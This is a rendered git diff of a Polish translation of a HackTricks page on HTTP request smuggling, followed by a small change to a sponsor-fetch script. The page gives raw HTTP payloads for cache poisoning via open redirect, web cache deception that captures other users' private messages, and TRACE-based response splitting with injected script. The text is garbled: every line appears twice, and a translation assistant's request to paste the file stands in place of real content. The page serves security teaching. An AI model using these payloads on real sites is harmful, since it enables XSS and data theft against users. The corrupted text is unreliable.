Technika ta staje się szczególnie groźna, jeśli zostanie odkryta podatność typu Open Redirect lub jeśli istnieje on-site redirect prowadzący do open redirect. Takie podatności można wykorzystać, aby zastąpić zbuforowaną zawartość /static/include.js skryptem kontrolowanym przez atakującego, co de facto umożliwia szeroką skalę ataku Cross-Site Scripting (XSS) wobec wszystkich klientów żądających zaktualizowanego /static/include.js.
|
||||||
|
|
||||||
Poniżej ilustracja wykorzystania **cache poisoning combined with an on-site redirect to open redirect**. Celem jest zmiana zawartości cache `/static/include.js`, aby serwowała kod JavaScript kontrolowany przez atakującego:
|
Poniżej znajduje się ilustracja wykorzystania cache poisoning w połączeniu z on-site redirect do open redirect. Celem jest zmiana zawartości cache dla /static/include.js tak, aby serwować kod JavaScript kontrolowany przez atakującego:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable.net
|
Host: vulnerable.net
|
||||||
@ -598,20 +649,20 @@ Content-Length: 10
|
|||||||
|
|
||||||
x=1
|
x=1
|
||||||
```
|
```
|
||||||
Zwróć uwagę na osadzony request kierujący na `/post/next?postId=3`. To request zostanie przekierowane do `/post?postId=4`, wykorzystując wartość **Host header** do określenia domeny. Poprzez zmianę **Host header** atakujący może przekierować request do swojej domeny (**on-site redirect to open redirect**).
|
Zauważ osadzone żądanie skierowane do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując **Host header value** do określenia domeny. Poprzez zmianę nagłówka **Host header**, atakujący może przekierować żądanie do swojej domeny (**on-site redirect to open redirect**).
|
||||||
|
|
||||||
Po pomyślnym **socket poisoning**, należy wysłać **GET request** dla `/static/include.js`. Ten request zostanie skażony przez poprzedni request typu **on-site redirect to open redirect** i pobierze zawartość skryptu kontrolowanego przez atakującego.
|
Po udanym **socket poisoning**, należy zainicjować **GET request** do `/static/include.js`. To żądanie zostanie skażone przez wcześniejsze żądanie **on-site redirect to open redirect** i pobierze zawartość skryptu kontrolowanego przez atakującego.
|
||||||
|
|
||||||
W rezultacie każde kolejne request do `/static/include.js` będzie serwować z cache zawartość skryptu atakującego, skutecznie uruchamiając szeroko zakrojony atak XSS.
|
W konsekwencji każde żądanie do `/static/include.js` będzie serwować z pamięci podręcznej zawartość skryptu kontrolowanego przez atakującego, co skutecznie uruchomi szeroki atak XSS.
|
||||||
|
|
||||||
### Wykorzystanie HTTP request smuggling do przeprowadzenia web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||||
|
|
||||||
> **Jaka jest różnica między web cache poisoning a web cache deception?**
|
> **Jaka jest różnica między web cache poisoning a web cache deception?**
|
||||||
>
|
>
|
||||||
> - W **web cache poisoning** atakujący powoduje, że aplikacja zapisuje w cache złośliwą zawartość, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
|
> - W **web cache poisoning** atakujący powoduje, że aplikacja zapisuje złośliwą zawartość w cache, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
|
||||||
> - W **web cache deception** atakujący powoduje, że aplikacja zapisuje w cache wrażliwe treści należące do innego użytkownika, a następnie atakujący pobiera te treści z cache.
|
> - W **web cache deception** atakujący powoduje, że aplikacja zapisuje w cache wrażliwe treści należące do innego użytkownika, a następnie atakujący pobiera te treści z cache.
|
||||||
|
|
||||||
Atakujący przygotowuje smuggled request, który pobiera wrażliwe, specyficzne dla użytkownika treści. Rozważ następujący przykład:
|
Atakujący tworzy smuggled request, które pobiera wrażliwe treści specyficzne dla użytkownika. Rozważ następujący przykład:
|
||||||
```markdown
|
```markdown
|
||||||
`POST / HTTP/1.1`\
|
`POST / HTTP/1.1`\
|
||||||
`Host: vulnerable-website.com`\
|
`Host: vulnerable-website.com`\
|
||||||
@ -622,17 +673,17 @@ Atakujący przygotowuje smuggled request, który pobiera wrażliwe, specyficzne
|
|||||||
`GET /private/messages HTTP/1.1`\
|
`GET /private/messages HTTP/1.1`\
|
||||||
`Foo: X`
|
`Foo: X`
|
||||||
```
|
```
|
||||||
Jeśli ten smuggled request zatruje wpis w pamięci podręcznej przeznaczony dla zawartości statycznej (np. `/someimage.png`), dane wrażliwe ofiary pochodzące z `/private/messages` mogą zostać zapisane w tym wpisie. W efekcie atakujący mógłby potencjalnie odczytać te dane wrażliwe z pamięci podręcznej.
|
Jeśli ten smuggled request zatruje cache entry przeznaczony dla static content (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą zostać cached pod wpisem tego cache entry. W konsekwencji atakujący mógłby potencjalnie odzyskać te cached sensitive data.
|
||||||
|
|
||||||
### Wykorzystywanie TRACE przez HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) sugeruje, że jeśli serwer ma włączoną metodę TRACE, możliwe jest jej wykorzystanie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedla każdy nagłówek wysłany do serwera jako część ciała odpowiedzi. Na przykład:
|
[**W tym poście**](https://portswigger.net/research/trace-desync-attack) zasugerowano, że jeśli serwer ma włączoną metodę TRACE, można ją potencjalnie wykorzystać za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedla dowolny nagłówek wysłany do serwera jako część ciała odpowiedzi. Na przykład:
|
||||||
```
|
```
|
||||||
TRACE / HTTP/1.1
|
TRACE / HTTP/1.1
|
||||||
Host: example.com
|
Host: example.com
|
||||||
XSS: <script>alert("TRACE")</script>
|
XSS: <script>alert("TRACE")</script>
|
||||||
```
|
```
|
||||||
Proszę wklej zawartość pliku src/pentesting-web/http-request-smuggling/README.md — przetłumaczę ją na polski zgodnie z podanymi zasadami (zachowując markdown, linki, ścieżki, tagi i nie tłumacząc kodu).
|
Proszę wklej zawartość pliku src/pentesting-web/http-request-smuggling/README.md, którą chcesz przetłumaczyć na polski. Zwrócę przetłumaczony plik zachowując dokładnie wszystkie markdown/HTML, linki, ścieżki, tagi i fragmenty kodu bez zmian.
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: message/http
|
Content-Type: message/http
|
||||||
@ -643,15 +694,15 @@ Host: vulnerable.com
|
|||||||
XSS: <script>alert("TRACE")</script>
|
XSS: <script>alert("TRACE")</script>
|
||||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||||
```
|
```
|
||||||
Przykładem nadużycia tego zachowania byłoby **najpierw smuggle żądanie HEAD**. Na to żądanie serwer odpowie tylko **nagłówkami** odpowiedzi GET (**`Content-Type`** wśród nich). I smuggle **bezpośrednio po HEAD żądanie TRACE**, które będzie **odzwierciedlać wysłane dane**.\
|
Przykładem nadużycia tego zachowania byłoby **smuggle first a HEAD request**. To żądanie zostanie obsłużone jedynie przy użyciu **nagłówków** odpowiedzi GET (**`Content-Type`** wśród nich). I **smuggle immediately after the HEAD a TRACE request**, które będzie **odzwierciedlać wysłane dane**.\
|
||||||
Ponieważ odpowiedź na HEAD będzie zawierać nagłówek `Content-Length`, **odpowiedź na żądanie TRACE zostanie potraktowana jako ciało odpowiedzi HEAD, w rezultacie odzwierciedlając dowolne dane** w odpowiedzi.\
|
Ponieważ odpowiedź HEAD będzie zawierać nagłówek `Content-Length`, **odpowiedź na żądanie TRACE zostanie potraktowana jako ciało odpowiedzi HEAD, w związku z czym w odpowiedzi zostaną odzwierciedlone dowolne dane**.\
|
||||||
Ta odpowiedź zostanie wysłana do następnego żądania na połączeniu, więc może to być **użyte np. w pliku JS w pamięci podręcznej do wstrzyknięcia dowolnego kodu JS**.
|
Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, więc można to **użyć w zbuforowanym pliku JS na przykład do wstrzyknięcia dowolnego kodu JS**.
|
||||||
|
|
||||||
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Nadużywanie TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
Zalecane jest zapoznanie się z [**this post**](https://portswigger.net/research/trace-desync-attack) — opisuje on inny sposób nadużycia metody TRACE. Jak wspomniano, smuggling żądania HEAD i TRACE pozwala **kontrolować część odzwierciedlanych danych** w odpowiedzi na HEAD. Długość ciała odpowiedzi na HEAD jest wskazywana w nagłówku Content-Length i jest tworzona przez odpowiedź na żądanie TRACE.
|
Kontynuowanie lektury [**this post**](https://portswigger.net/research/trace-desync-attack) sugeruje inny sposób nadużycia metody TRACE. Jak wspomniano, smuggling a HEAD request and a TRACE request pozwala **kontrolować pewne odzwierciedlone dane** w odpowiedzi na żądanie HEAD. Długość ciała żądania HEAD jest zasadniczo wskazywana w nagłówku `Content-Length` i jest formowana przez odpowiedź na żądanie TRACE.
|
||||||
|
|
||||||
Dlatego nowy pomysł polega na tym, że znając tę wartość Content-Length oraz dane zawarte w odpowiedzi TRACE, można sprawić, aby odpowiedź TRACE zawierała prawidłową odpowiedź HTTP po ostatnim bajcie określonym przez Content-Length, co pozwala atakującemu całkowicie kontrolować żądanie do następnej odpowiedzi (co mogłoby być wykorzystane do cache poisoning).
|
W związku z tym nowy pomysł polega na tym, że znając tę wartość `Content-Length` oraz dane zawarte w odpowiedzi TRACE, można sprawić, aby odpowiedź TRACE zawierała prawidłową odpowiedź HTTP po ostatnim bajcie określonym przez `Content-Length`, pozwalając atakującemu na pełną kontrolę nad żądaniem do następnej odpowiedzi (co mogłoby być użyte do przeprowadzenia cache poisoning).
|
||||||
|
|
||||||
Przykład:
|
Przykład:
|
||||||
```
|
```
|
||||||
@ -672,7 +723,7 @@ Content-Length: 44\r\n
|
|||||||
\r\n
|
\r\n
|
||||||
<script>alert("response splitting")</script>
|
<script>alert("response splitting")</script>
|
||||||
```
|
```
|
||||||
Wygeneruje te odpowiedzi (zwróć uwagę, że odpowiedź HEAD ma Content-Length, co powoduje, że odpowiedź TRACE staje się częścią ciała HEAD, a po zakończeniu Content-Length w HEAD prawidłowa HTTP response jest smuggled):
|
Wygeneruje te odpowiedzi (zauważ, że odpowiedź HEAD ma nagłówek Content-Length, co sprawia, że odpowiedź TRACE staje się częścią body odpowiedzi HEAD, a gdy Content-Length odpowiedzi HEAD dobiegnie końca, zostaje smuggled prawidłowa odpowiedź HTTP):
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
@ -693,9 +744,10 @@ Content-Length: 50
|
|||||||
|
|
||||||
<script>alert(“arbitrary response”)</script>
|
<script>alert(“arbitrary response”)</script>
|
||||||
```
|
```
|
||||||
### Wykorzystanie HTTP Request Smuggling z HTTP Response Desynchronisation
|
### Wykorzystanie HTTP Request Smuggling przy użyciu HTTP Response Desynchronisation
|
||||||
|
|
||||||
|
Znalazłeś podatność typu HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Wypróbuj następujące metody eksploatacji:
|
||||||
|
|
||||||
Znalazłeś lukę HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Wypróbuj te inne metody eksploatacji:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../http-response-smuggling-desync.md
|
../http-response-smuggling-desync.md
|
||||||
@ -717,7 +769,7 @@ browser-http-request-smuggling.md
|
|||||||
request-smuggling-in-http-2-downgrades.md
|
request-smuggling-in-http-2-downgrades.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Turbo intruder scripts
|
## Skrypty Turbo intruder
|
||||||
|
|
||||||
### CL.TE
|
### CL.TE
|
||||||
|
|
||||||
@ -806,16 +858,16 @@ table.add(req)
|
|||||||
```
|
```
|
||||||
## Narzędzia
|
## Narzędzia
|
||||||
|
|
||||||
- HTTP Hacker (Burp BApp Store) – wizualizuje konkatenację/ramkowanie i niskopoziomowe zachowanie HTTP
|
- HTTP Hacker (Burp BApp Store) – wizualizuje konkatenację/ramowanie oraz niskopoziomowe zachowanie HTTP
|
||||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie oparte na gramatyce — HTTP Fuzzer — przydatne do znajdowania dziwnych rozbieżności w request smuggling.
|
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie oparte na gramatyce do fuzzowania HTTP, przydatne do wykrywania nietypowych rozbieżności w request smuggling.
|
||||||
|
|
||||||
## Referencje
|
## Odnośniki
|
||||||
|
|
||||||
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||||
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
||||||
@ -826,10 +878,11 @@ table.add(req)
|
|||||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||||
- Uwaga na fałszywe false‑positive: jak odróżnić HTTP pipelining od request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
- Uwaga na fałszywe pozytywy: jak odróżnić HTTP pipelining od request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||||
|
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -15,7 +15,8 @@
|
|||||||
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
||||||
|
|
||||||
async function getSponsor() {
|
async function getSponsor() {
|
||||||
const url = "https://book.hacktricks.wiki/sponsor"
|
const currentUrl = encodeURIComponent(window.location.href);
|
||||||
|
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
|
||||||
try {
|
try {
|
||||||
const response = await fetch(url, { method: "GET" })
|
const response = await fetch(url, { method: "GET" })
|
||||||
if (!response.ok) {
|
if (!response.ok) {
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user